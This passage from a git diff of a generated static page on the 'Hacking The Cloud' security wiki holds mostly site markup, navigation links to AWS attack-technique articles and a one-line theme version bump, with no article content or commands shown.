by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
diff --git a/aws/enumeration/whoami/index.html b/aws/enumeration/whoami/index.html
index 5b3f8124a..4172e88be 100644
--- a/aws/enumeration/whoami/index.html
+++ b/aws/enumeration/whoami/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys."><link href=https://hackingthe.cloud/aws/enumeration/whoami/ rel=canonical><link href=../loot_public_ebs_snapshots/ rel=prev><link href=../../exploitation/abusing-container-registry/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Whoami - Get Principal Name From Keys - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Whoami - Get Principal Name From Keys - Hacking The Cloud"><meta property=og:description content="During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/whoami.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/enumeration/whoami/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Whoami - Get Principal Name From Keys - Hacking The Cloud"><meta property=twitter:description content="During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/whoami.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys."><link href=https://hackingthe.cloud/aws/enumeration/whoami/ rel=canonical><link href=../loot_public_ebs_snapshots/ rel=prev><link href=../../exploitation/abusing-container-registry/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Whoami - Get Principal Name From Keys - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Whoami - Get Principal Name From Keys - Hacking The Cloud"><meta property=og:description content="During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/whoami.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/enumeration/whoami/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Whoami - Get Principal Name From Keys - Hacking The Cloud"><meta property=twitter:description content="During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/whoami.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#sqslistqueues class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2 checked> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#sqslistqueues class=md-nav__link> <span class=md-ellipsis> sqs:ListQueues </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a 